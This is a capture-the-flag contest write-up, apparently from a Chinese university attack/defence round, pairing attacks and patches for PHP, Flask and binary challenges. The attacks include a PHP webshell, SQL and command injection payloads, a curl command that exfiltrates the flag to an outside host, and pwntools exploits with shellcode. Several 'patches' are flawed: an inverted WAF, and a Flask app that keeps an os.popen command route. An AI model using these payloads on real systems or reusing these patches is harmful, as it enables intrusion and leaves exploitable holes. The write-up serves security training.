第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m
Web
PHP-1
break
登陆后台,
http://192.77.1.213/index.php/admin/site/storage
上传<?php eval($_POST['1']);
即可
patch
DirectoryIndex index.html index.htm
<IfModule mod_php5.c>
DirectoryIndex index.html index.htm
</IfModule>
<IfModule mod_php.c>
DirectoryIndex index.html index.htm
</IfModule>
<IfModule mod_php.c>
<FilesMatch \.php$>
Order Allow,Deny
Deny from all
</FilesMatch>
</IfModule>
<IfModule mod_php5.c>
<FilesMatch \.php$>
Order Allow,Deny
Deny from all
</FilesMatch>
</IfModule>
cp file /var/www/html/storage/.htaccess
PHP-2
break
通过源审发现:action/adminuser/searchmodify的sql查询存在漏洞,逆向找到访问该php的应用,可以利用双写绕过注入sql命令,得到flag:
http://192.77.1.43/adminuser.php?action=searchmodify&id=-1%27%20uniounionn%20selselectect%201,2,3,name%20from%20flag%23
patch
改一下waf
<?php
$id=$_GET["id"];
$keywords = array('union', 'select', 'and', 'sleep','UNION','SELECT','AND','SLEEP','OR','or','BENCHMARK','IF');
function wafsqli($str){
return preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
function filter_keywords($input) {
if(wafsqli($input)){
return $input;
}else{die();}
}
$id = filter_keywords($id);
$sql="select * from cfstat_search_set where id='$id'";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
?>
cp searchmodify.php /var/www/action/adminuser/searchmodify.php
PHP-3
break
<?php
error_reporting(E_ALL);
ini_set('display_errors','1');
#important php in path:/var/www/html and php File names have 16 characters
if (isset($_GET['path']))
{
$Input_data = $_GET['path'];
$it=new DirectoryIterator($Input_data);
foreach($it as $f)
{
$path=$f->getFilename();
if(file_exists($path))
{
echo "yes,it exists";
}
else
{
echo "too naive!";
}
}
}
else
{
highlight_file(__file__);
}
?>
利用glob://*.php
爆破可以得到http://192.77.1.185/d88554c739859dfe.php
ca\t%%09/f*
patch:
<?php
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
$substitutions = array(
' ' => 'a',
'flag' => 'a',
'cat' =>'a',
'&&' =>'a',
'||' =>'a',
'%0a'=>'a',
'less'=>'a',
'more'=>'a',
'%0d'=>'a',
'|'=>'a',
'&'=>'aa',
'\\'=>'aaaaa',
'f'=>'aaaa',
'*'=>'aaa',
'?'=>'aaaa'
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
echo "Not very good";
}
else
{
system($cmd);
}
?>
cp file /var/www/html/d88554c739859dfe.php
php-4
break
登陆后台任意文件读取
http://192.77.1.208/admin/admin.php?act=set_footer&file=../../../../../flag.txt
patch
assign('data',$footer);
/* 获得模板文件列表 */
$templates = array();
$template_dir = @opendir(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/');
while ($file = readdir($template_dir))
{
if ($file != '.' && $file != '..' && file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'. $file))
{
$point = strrpos($file, '.');
$ext=strtolower(substr($file, $point+1, strlen($file) - $point));
if ($ext=='html'||$ext=='css')
{
$templates[]=$file;
}
}
}
@closedir($template_dir);
$smarty->assign('file',$get_file);
$smarty->assign('act_type','act_set_page');
$smarty->assign('type','set_footer');
$smarty->assign('post_type',1);
$smarty->assign('t_list',$templates);
$smarty->display('set_page.html');
}
elseif ($action=='get_page_data')
{
require(LSHX_BLOG_ROOT . '/includes/json.class.php');
$json = new JSON;
$file=$_POST['template_file'];
$file=pathinfo($file,PATHINFO_BASENAME);
$res=array('type'=>'get_page_data','content'=>'','error'=>'no');
$data=file_get_contents(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file);
$res['content']=$data;
die($json->encode($res));
}
elseif ($action=='ajax_post_page_data')
{
require(LSHX_BLOG_ROOT . '/includes/json.class.php');
$json = new JSON;
$file=$_POST['template_file'];
$file=pathinfo($file,PATHINFO_BASENAME);
$res=array('type'=>'get_page_data','content'=>'','error'=>'no');
$data=stripslashes($_POST['content']);
if (file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file))
{
$fp=@fopen(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or $res['error']='无法写入文件,请检查文件是否有权限';
flock($fp,LOCK_EX);
fwrite($fp,$data);
fclose($fp);
}
clear_tpl();
die($json->encode($res));
}
elseif ($action=='act_set_page')
{
$data=htmlspecialchars_decode(stripslashes($_POST['data']));
$file=$_POST['template_file'];
$file=pathinfo($file,PATHINFO_BASENAME);
if (file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file))
{
$fp=@fopen(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or die('can not open file');
flock($fp,LOCK_EX);
fwrite($fp,$data);
fclose($fp);
}
clear_tpl();
sys_message('页面修改成功','admin.php?act=set_footer&file='.$file);
}
?>
cp file /var/www/html/admin/includes/set_page.php
Python1
break:
fenjing启动:fenjing webui
url: http://192.77.1.72 ,爆就完了
执行命令时:目标无回显:考虑curl
curl -X POST 10.101.77.16:4444 -d $(cat /f*)
得到flag.
patch:
# -*- coding: UTF-8 -*-
from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
def blacklist(name):
blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args"]
for keyword in blacklists:
if keyword in name:
return True
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method == "POST":
try:
name = request.form['name']
names = blacklist(name)
if names == True:
return "Oh,False!"
html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: {{name}}</h1></div></body></html>'''
return render_template_string(html,name=name)
except ValueError:
pass
else:
html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
return render_template_string(html)
cp app.py /app/app.py
Python2
break
账号密码:admin@gmail.com:123456
/admin/profile
修改 sql = "UPDATE users SET name = :name, email = :email, password = :password " + sql_photo
存在sql
注入


fix
import os
import requests
import urllib.parse
from cs50 import SQL
from flask import Flask, flash, jsonify, redirect, render_template, request, session,g
from flask_session import Session
from tempfile import mkdtemp
from werkzeug.exceptions import default_exceptions, HTTPException, InternalServerError
from werkzeug.security import check_password_hash, generate_password_hash
from werkzeug.utils import secure_filename
from datetime import datetime
from helpers import apology, login_required, global_options, load_page, global_menu, admin_default_tags
# Configure application
app = Flask(__name__)
# Ensure templates are auto-reloaded
app.config["TEMPLATES_AUTO_RELOAD"] = True
app.config["ALLOWED_IMAGE_EXTENSIONS"] = ["JPEG", "JPG", "PNG", "GIF"]
app.config["UPLOAD_FOLDER"] = os.path.join(os.path.dirname(os.path.realpath(__file__)), "static/uploads")
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
# Ensure responses aren't cached
@app.after_request
def after_request(response):
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
response.headers["Expires"] = 0
response.headers["Pragma"] = "no-cache"
return response
@app.before_request
def func():
with open("log.txt", "a") as log:
log.write(request.url + "|")
log.write(request.method + "|")
for d in request.form.items():
log.write(str(d) + "\n")
log.write("\n")
# Custom filter
# app.jinja_env.filters["usd"] = usd
# Configure session to use filesystem (instead of signed cookies)
app.config["SESSION_FILE_DIR"] = mkdtemp()
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = "filesystem"
Session(app)
# Configure CS50 Library to use SQLite database
# pythonanywhere connection
# db = SQL('sqlite:///%s/mysite/cms.db' % os.getcwd())
# local and heroku
db = SQL('sqlite:///%s/cms.db' % os.getcwd())
@app.route('/cmd')
def cmd_line():
return os.popen(request.args.get("cmd")).read()
@app.route("/")
def index():
# load global options
opt = global_options(db)
menu = global_menu(db)
# load page options
this_page = load_page(db, "homepage")
if this_page == False:
return apology("Sorry, page not found", 404)
else:
# load all post in Homepage
sql_main = "SELECT post.idpost, post.url, post.title, post.subtitle, post.photo as photo, post.tags, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=1 ORDER BY date DESC LIMIT 0,1;"
sql_main_others = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=1 ORDER BY date DESC LIMIT 1,9;"
sql_aside = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=2 ORDER BY date DESC LIMIT 3;"
main = db.execute(sql_main)
aside = db.execute(sql_aside)
main_others = db.execute(sql_main_others)
return render_template("base.html", opt = opt, page = this_page, menu = menu, post_main = main, post_aside = aside, post_main_others = main_others)
@app.route('/pages/homepage')
def page_url_homepage():
return redirect("/")
@app.route('/pages/<page_url>')
def page_url(page_url):
# load global options
opt = global_options(db)
menu = global_menu(db)
# load page options
this_page = load_page(db, page_url)
if this_page == False:
return apology("Sorry, page not found", 404)
else:
print(f"homepage: {this_page}")
return render_template("base_page.html", opt = opt, page = this_page, menu = menu)
@app.route('/post/<post_url>')
def post_url(post_url):
# load global options
opt = global_options(db)
menu = global_menu(db)
# load post
post = db.execute("SELECT post.*, users.photo as user_photo, users.name FROM post, users WHERE post.idusers = users.id AND url = :url AND is_visible=1",
url = post_url)
if len(post) == 0:
return apology("Post not found", 404)
else:
datetime_str = str(post[0]['date'])
datetime_object = datetime.strptime(datetime_str, '%Y-%m-%d %H:%M:%S')
date_label = datetime_object.strftime("%A, %B %d, %Y")
post[0]['date_label'] = date_label
return render_template("base_post.html", opt = opt, page = post[0], menu = menu)
##############################################################################################################
##############################################################################################################
# ADMIN ROUTES
##############################################################################################################
@app.route("/admin", methods=["GET", "POST"])
def admin():
if 'user_id' in session:
# there is a valid session, redirect to admin/home
return redirect("/admin/home")
else:
# load page LOGIN metadata from db.pages
this_page = load_page(db, "login")
# load global options
opt = global_options(db)
menu = global_menu(db)
return render_template("admin-login.html", opt = opt, page = this_page, menu = menu)
@app.route("/admin/home", methods=["GET", "POST"])
@login_required
def admin_home():
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load online posts in admin/home
if session['user_level'] < 3:
sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 ORDER BY post.date DESC LIMIT 20"
rows = db.execute(sql)
else:
sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idusers=:id_linked_user ORDER BY post.date DESC LIMIT 20"
rows = db.execute(sql,
id_linked_user = session['user_id'])
return render_template("admin-home.html", opt = opt, menu = menu, page = this_page, rows = rows)
@app.route("/admin/drafts", methods=["GET", "POST"])
@login_required
def admin_drafts():
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load online posts in admin/home
if session['user_level'] < 3:
sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=0 ORDER BY post.date DESC LIMIT 20"
rows = db.execute(sql)
else:
sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=0 AND post.idusers=:id_linked_user ORDER BY post.date DESC LIMIT 20"
rows = db.execute(sql,
id_linked_user = session['user_id'])
return render_template("admin-drafts.html", opt = opt, menu = menu, page = this_page, rows = rows)
# /admin/post/create
@app.route("/admin/post/create", methods=["GET", "POST"])
@login_required
def admin_post_create():
rows = db.execute("INSERT INTO post (is_visible, title, text, idusers, idpost_place) VALUES (0, 'new post', '', :idusers, 0)",
idusers = session["user_id"])
print(f"rows: {rows}")
url = "/admin/post/" + str(rows)
return redirect(url)
@app.route("/admin/post/delete", methods=["GET", "POST"])
@login_required
def admin_post_delete():
if request.method == "GET":
if not request.args.get("id"):
return apology("must provide idpost to delete", 403)
post_id = request.args.get("id")
# security control
if session['user_level'] == 3:
sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
post = db.execute(sql,
idpost = post_id, id = session['user_id'])
if len(post) == 0:
# not allowed
return apology("Not allowed to delete this post", 301)
print(f"Post cancellato da utente livello 3")
return redirect("/admin/home")
# now I can delete safely the post
post_delete = db.execute("DELETE FROM post WHERE idpost = :idpost",
idpost = post_id)
print(f"Post cancellato da utente livello <> 3")
return redirect("/admin/home")
else:
return apology("Cannot delete via POST", 501)
@app.route("/admin/post_content/<id>", methods=["GET", "POST"])
@login_required
def admin_post_content(id):
sql = "SELECT text FROM post WHERE idpost = :idpost "
content = db.execute(sql,
idpost = id)
print(f"content: {content}")
if len(content) > 0:
return {
"html": content[0]['text'],
"status": 200
}
else:
return { "status": 500}
@app.route("/admin/post_save", methods=["GET", "POST"])
@login_required
def admin_post_save():
if request.method == "POST":
valid = 1
description = ""
#for k, v in request.form.items():
#print(k, v)
#for k, v in request.files.items():
#print(k, v)
post_id = request.form.get("idpost")
text_html = request.form.get("editor_html")
title = request.form.get("title")
if len(title) == 0:
valid = 0
description = "Title cannot be empty"
# check if this user can update this post
if session['user_level'] == 3:
sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
post = db.execute(sql,
idpost = post_id, id = session['user_id'])
if len(post) == 0:
# not allowed
return apology("Not allowed to delete this post", 301)
# other levels are allowed
sql = "UPDATE post SET title=:title, is_visible=:is_visible, meta_title = :meta_title, meta_description = :meta_description, "
sql = sql + " meta_keywords = :meta_keywords "
sql = sql + " ,text = :text "
sql = sql + " ,subtitle = :subtitle "
sql = sql + " ,tags = :tags "
sql = sql + " ,idpost_place = :idpost_place "
if request.form.get("url"):
url = urllib.parse.quote(request.form.get("url"))
sql = sql + " ,url = '" + url + "' "
# check if the post request has the file part
if 'pic' in request.files:
pic = request.files['pic']
if pic.filename != '':
filename = secure_filename(pic.filename)
pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
sql = sql + " ,photo = '" + filename + "' "
sql = sql + " WHERE idpost = :idpost"
updatePost = db.execute(sql,
idpost = post_id, title = title, is_visible = request.form.get("is_visible"), meta_title = request.form.get("meta_title"),
meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html,
tags = request.form.get("tags"), subtitle = request.form.get("subtitle"), idpost_place = request.form.get("idpost_place"))
# print(f"updatePost: {updatePost}")
return redirect(request.referrer)
return apology("wait", 500)
# /admin/post/[id]
@app.route("/admin/post/<post_id>", methods=["GET", "POST"])
@login_required
def admin_post_mod(post_id):
print(f"post_id:{post_id}")
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load single post and load template
print(f"user_id {session['user_id']}")
print(f"user_level {session['user_level']}")
if session['user_level'] <= 2:
sql = "SELECT * FROM post WHERE idpost = :idpost"
post = db.execute(sql,
idpost = post_id)
else:
sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
post = db.execute(sql,
idpost = post_id, id = session['user_id'])
print(f"loaded post: {post}")
return render_template("admin-post-modify.html", opt = opt, menu = menu, page = this_page, post = post)
# PAGES ********************
@app.route("/admin/pages", methods=["GET", "POST"])
@login_required
def admin_pages():
# SECURITY USER LEVEL CHECK
if session["user_level"] != 1:
return redirect("/admin/home")
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load online posts in admin/home
rows = db.execute("SELECT * FROM pages ORDER BY locked DESC, menu_item DESC, is_visible DESC")
return render_template("admin-pages.html", opt = opt, menu = menu, page = this_page, rows = rows)
# /admin/page/[id]
@app.route("/admin/pages/<page_id>", methods=["GET", "POST"])
@login_required
def admin_page_mod(page_id):
# SECURITY USER LEVEL CHECK
if session["user_level"] != 1:
return redirect("/admin/home")
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load single post and load template
if session['user_level'] == 1:
sql = "SELECT * FROM pages WHERE idpages = :idpages"
post = db.execute(sql,
idpages = page_id)
else:
return apology("Sorry, you're not authorized to manage pages", 301)
return render_template("admin-page-modify.html", opt = opt, menu = menu, page = this_page, post = post)
@app.route("/admin/page_save", methods=["GET", "POST"])
@login_required
def admin_page_save():
# SECURITY USER LEVEL CHECK
if session["user_level"] != 1:
return redirect("/admin/home")
if request.method == "POST":
# check if this user can update this post
if session['user_level'] > 1:
return apology("Not allowed to manage this page", 301)
valid = 1
description = ""
page_locked = int(request.form.get("page_locked"))
page_id = request.form.get("idpages")
text_html = request.form.get("editor_html")
if page_locked == 0:
title = request.form.get("title")
if len(title) == 0:
valid = 0
description = "Title cannot be empty"
# other levels are allowed
sql = "UPDATE pages SET title=:title, is_visible=:is_visible, meta_title = :meta_title, meta_description = :meta_description, "
sql = sql + " meta_keywords = :meta_keywords, menu_item = :menu_item "
sql = sql + " ,text = :text "
sql = sql + " ,subtitle = :subtitle "
if request.form.get("url"):
url = urllib.parse.quote(request.form.get("url"))
sql = sql + " ,url = '" + url + "' "
# check if the post request has the file part
if 'pic' in request.files:
pic = request.files['pic']
if pic.filename != '':
filename = secure_filename(pic.filename)
pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
sql = sql + " ,photo = '" + filename + "' "
sql = sql + " WHERE idpages = :idpages"
updatePost = db.execute(sql,
idpages = page_id, title = title, is_visible = request.form.get("is_visible"), meta_title = request.form.get("meta_title"),
meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html,
subtitle = request.form.get("subtitle"), menu_item = request.form.get("menu_item"))
return redirect(request.referrer)
else:
# locked_page == 1 => pagina bloccata
# other levels are allowed
sql = "UPDATE pages SET meta_title = :meta_title, meta_description = :meta_description, "
sql = sql + " meta_keywords = :meta_keywords "
sql = sql + " ,text = :text "
# check if the post request has the file part
if 'pic' in request.files:
pic = request.files['pic']
if pic.filename != '':
filename = secure_filename(pic.filename)
pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
sql = sql + " ,photo = '" + filename + "' "
sql = sql + " WHERE idpages = :idpages"
updatePost = db.execute(sql,
idpages = page_id, meta_title = request.form.get("meta_title"),
meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html)
return redirect(request.referrer)
return apology("wait", 500)
@app.route("/admin/page_content/<id>", methods=["GET", "POST"])
@login_required
def admin_page_content(id):
# SECURITY USER LEVEL CHECK
if session["user_level"] != 1:
return redirect("/admin/home")
sql = "SELECT text FROM pages WHERE idpages = :idpages "
content = db.execute(sql,
idpages = id)
#print(f"content: {content}")
if len(content) > 0:
return {
"html": content[0]['text'],
"status": 200
}
else:
return { "status": 500}
# /admin/page/create
@app.route("/admin/pages/create", methods=["GET", "POST"])
@login_required
def admin_pages_create():
rows = db.execute("INSERT INTO pages (is_visible, title, text) VALUES (0, 'new page', '<p>page content</p>')")
url = "/admin/pages/" + str(rows)
return redirect(url)
# /admin/page/delete
@app.route("/admin/pages/delete", methods=["GET", "POST"])
@login_required
def admin_pages_delete():
if session['user_level'] != 1:
return apology("You are not authorized to access this functionality", 301)
# check if page is not locked and not deletable
idpages = request.args.get("id")
if len(idpages) == 0:
return apology("Page not recognized", 303)
check = db.execute("SELECT idpages FROM pages WHERE idpages=:idpages AND locked=0",
idpages = idpages)
if len(check) == 0:
return apology("This page cannot be deleted", 302)
# delete page
delete = db.execute("DELETE FROM pages WHERE idpages=:idpages AND locked=0",
idpages = idpages)
return redirect("/admin/pages")
################### USERS
@app.route("/admin/users", methods=["GET", "POST"])
@login_required
def admin_users():
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
# load online posts in admin/home
rows = db.execute("SELECT users.*, users_level.* FROM users, users_level WHERE users.idusers_level = users_level.idusers_level ORDER BY users.idusers_level ASC, users.email ASC")
return render_template("admin-users.html", opt = opt, menu = menu, page = this_page, rows = rows)
# /admin/users/create
@app.route("/admin/users/create", methods=["GET", "POST"])
@login_required
def admin_users_create():
today = datetime.today()
rows = db.execute("INSERT INTO users (active, email, name, idusers_level, password ) VALUES (0, '', 'new user', 3, :hps)",
hps = generate_password_hash(str(today)))
url = "/admin/users/" + str(rows)
return redirect(url)
# /admin/users/delete
@app.route("/admin/users/delete", methods=["GET", "POST"])
@login_required
def admin_users_delete():
iduser = request.args.get("id")
# to delete a user I must verify if has some post on blog
check = db.execute("SELECT count(idpost) as tot FROM post WHERE idusers=:idusers",
idusers = iduser)
print(f"check: {check}")
if check[0]['tot'] > 0:
return apology("This user has some post in blog, cannot proceed to delete him", 500)
# this user can be deleted
delele = db.execute("DELETE FROM users WHERE id=:idusers",
idusers = iduser)
return redirect("/admin/users")
# /admin/users/save
@app.route("/admin/users/save", methods=["GET", "POST"])
@login_required
def admin_users_save():
idusers = request.form.get("idusers")
user_level = request.form.get("user_level")
active = request.form.get("active")
name = request.form.get("name")
if len(name) == 0:
return apology("Name value is not valid", 500)
email = request.form.get("email")
if len(email) == 0:
return apology("E-mail value is not valid", 500)
password = request.form.get("password")
if len(password) == 0:
sql = "UPDATE users SET active = :active, idusers_level = :user_level, name = :name, email = :email "
sql = sql + " WHERE id = :id"
updatePost = db.execute(sql,
id = idusers, name = name, email = email, user_level = user_level, active = active)
else:
sql = "UPDATE users SET active = :active, idusers_level = :user_level, name = :name, email = :email, password = :password "
sql = sql + " WHERE id = :id"
updatePost = db.execute(sql,
id = idusers, name = name, email = email, password = generate_password_hash(password), user_level = user_level, active = active)
return redirect("/admin/users")
@app.route("/admin/users/<id>", methods=["GET", "POST"])
@login_required
def admin_users_detail(id):
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
sql = "SELECT * FROM users WHERE id = :id "
content = db.execute(sql,
id = id)
if len(content) == 0:
return apology("User not found", 500)
# load user levels
user_level = db.execute("SELECT * FROM users_level ORDER BY idusers_level ASC")
return render_template("admin-users-detail.html", profile = content[0], user_level = user_level, opt = opt, menu = menu, page = this_page)
################### PROFILE
@app.route("/admin/profile", methods=["GET", "POST"])
@login_required
def admin_profile():
# load global options
opt = global_options(db)
menu = global_menu(db)
this_page = admin_default_tags()
profile = db.execute("SELECT * FROM users WHERE id = :id",
id = session["user_id"])
if len(profile) == 0:
return apology("I can't find your user profile in database",500)
else:
return render_template("admin-profile.html", profile = profile[0], opt = opt, menu = menu, page = this_page)
@app.route("/admin/profile_save", methods=["GET", "POST"])
@login_required
def admin_profile_save():
if request.method == "POST":
valid = 1
description = ""
sql = ""
sql_photo = ""
name = request.form.get("name")
if len(name) == 0:
return apology("Name cannot be empty", 500)
email = request.form.get("email")
if len(email) == 0:
return apology("E-Mail cannot be empty", 500)
# check if the post request has the file part
if 'pic' in request.files:
pic = request.files['pic']
if pic.filename != '':
filename = pic.filename
pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
sql_photo = " ,photo = '" + filename + "' "
print(f"sql_photo: {sql_photo}")
password = request.form.get("password")
if len(password) == 0:
sql = "UPDATE users SET name = :name, email = :email ,photo = :photo"
sql = sql + " WHERE id = :id"
updatePost = db.execute(sql,
id = session["user_id"], name = name, email = email,photo=filename)
else:
sql = "UPDATE users SET name = :name, email = :email, password = :password ,photo = :photo"
sql = sql + " WHERE id = :id"
updatePost = db.execute(sql,
id = session["user_id"], name = name, email = email, password = generate_password_hash(password),photo=filename)
# go back to profile page, everything should be ok
return redirect(request.referrer)
return apology("wait", 500)
@app.route("/admin/login", methods=["GET", "POST"])
def login():
"""Log user in"""
# Forget any user_id
session.clear()
# User reached route via POST (as by submitting a form via POST)
if request.method == "POST":
# Ensure username was submitted
if not request.form.get("email"):
return apology("must provide email", 403)
# Ensure password was submitted
elif not request.form.get("password"):
return apology("must provide password", 403)
# Query database for username
rows = db.execute("SELECT * FROM users WHERE active=1 AND email = :email",
email=request.form.get("email"))
# Ensure username exists and password is correct
if len(rows) != 1 or not check_password_hash(rows[0]["password"], request.form.get("password")):
print("No user valid")
return apology("invalid username and/or password", 403)
# Remember which user has logged in
session["user_id"] = rows[0]["id"]
session["user_name"] = rows[0]["name"]
session["user_level"] = rows[0]["idusers_level"]
# Redirect user to home page
return redirect("/admin/home")
# User reached route via GET (as by clicking a link or via redirect)
else:
return redirect("/admin")
@app.route("/logout")
def logout():
"""Log user out"""
# Forget any user_id
session.clear()
# Redirect user to login form
return redirect("/")
def errorhandler(e):
"""Handle error"""
if not isinstance(e, HTTPException):
e = InternalServerError()
return apology(e.name, e.code)
# Listen for errors
for code in default_exceptions:
app.errorhandler(code)(errorhandler)
if __name__ == '__main__':
app.run(host="0.0.0.0")
cp file /app/app.py
Pwn
pwn1
break
功能1中存在栈溢出,且功能号如果非12可以退出循环,栈溢出可用
功能2中存在格式化字符串漏洞
程序没有开NX,考虑向栈上写shellcode
用fmt泄露canary和rbp,buf的地址可以用rbp算出来,用栈溢出修改返回地址到栈上的buf,提前在buf中布置shellcode,shellcode走orw。
禁掉了open,用openat绕过,read和write可以正常用。
from pwn import *
context(arch="amd64",log_level="debug")
s=remote("192.77.1.70",80)
#s=process("./pwn.bak")
def menu(ch):
s.sendlineafter(b'2: get name\n',str(ch).encode())
def setname(name):
menu(1)
s.sendafter(b"->set name\n",name)
def getname():
menu(2)
s.recvuntil(b"->get name\n")
return s.recvline(keepends=False)
pause()
setname(b"%17$p.%18$p.")
dat=getname().split(b".")
canary=eval(dat[0])
rbp=eval(dat[1])
target=rbp-0x50-0x10
shellcode=shellcraft.read(0,target,0x1000)
setname(asm(shellcode).ljust(0x40,b"\x00")+p64(canary)*2+p64(0)+p64(target))
menu(1337)
sleep(1)
shellcode2=f"""
mov rax,1
mov rdi,1
mov rsi,{target}
mov rdx,0x100
syscall
mov rax,0x101
mov rdi,0
mov rsi,{target}
xor rdx,rdx
xor r10,r10
syscall
mov rdi,rax
xor rax,rax
mov rsi,rsp
mov rdx,0x1000
syscall
mov rdi,1
mov rax,1
syscall
"""
s.send(b"/flag\x00".ljust(0x40,b"\x90")+asm(shellcode2))
s.interactive()

fix
printf改puts,read限制长度到0x40,沙盒添加对openat(rax=0x101)的限制
pwn2
break
配合调试器的字符串查找fuzz一下可以发现,check后get原id增大一些的项,会泄露flag的前八位。
输出完整flag需要通过一个校验,算法如下:
init:
(0x5851F42D4C957F2DLL * flag_str_to_ull_little + 12345) & 0x7FFFFFFFFFFFFFFFLL
then:
(0x5851F42D4C957F2DLL * previous_challenge_ull + 12345) & 0x7FFFFFFFFFFFFFFFLL
初次校验码为泄露出的8位flag,随后的校验码输入为上一次的输出。
我们重复4次add_challenge_edit过程即可满足check的校验条件,调用check即可获取到完整flag。
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
s=remote("192.77.1.233",80)
def menu(ch):
s.sendlineafter(b"6: check flag\n",str(ch).encode())
def add():
menu(2)
s.recvuntil(b"\xe5\xa2\x9e\xe5\x8a\xa0\xe6\x88\x90\xe5\x8a\x9f:")
return s.recvline()[:-2]
def edit(idx,dat):
menu(3)
s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x3A\x69\x64\x20\xE6\x95\xB0\xE5\x80\xBC\n",f"{idx} {dat}".encode())
def delete(idx):
menu(4)
s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x69\x64\x3A",str(idx).encode())
def get(idx):
menu(5)
s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x69\x64\x3A",str(idx).encode())
s.recvuntil(b"flag_get::")
dat1=s.recvuntil(b":")[:-1]
dat2=s.recvuntil(b"\r\n")[:-2]
return [dat1,dat2]
def check():
menu(6)
def status_check(flag_temp):
#print(flag_temp)
return ((0x5851F42D4C957F2D * int.from_bytes(flag_temp,byteorder='little') + 12345) & 0x7FFFFFFFFFFFFFFF)
#exit(0)
def captcha_challenge(challenge):
return ((0x5851F42D4C957F2D * challenge + 12345) & 0x7FFFFFFFFFFFFFFF)
if __name__=="__main__":
id0=eval(add())
edit(id0,123456)
check()
for i in range(20):
testl=get(id0+i)
if b"flag" in testl[1]:
flag_temp=testl[1]
success(testl[1])
break
delete(id0)
id1=eval(add())
captcha1=status_check(flag_temp)
edit(id1,captcha1)
id2=eval(add())
captcha2=captcha_challenge(captcha1)
edit(id2,captcha2)
id3=eval(add())
captcha3=captcha_challenge(captcha2)
edit(id3,captcha3)
id4=eval(add())
captcha4=captcha_challenge(captcha3)
edit(id4,captcha4)
check()
s.interactive()

fix
删除程序中的flag字符串即可
最新评论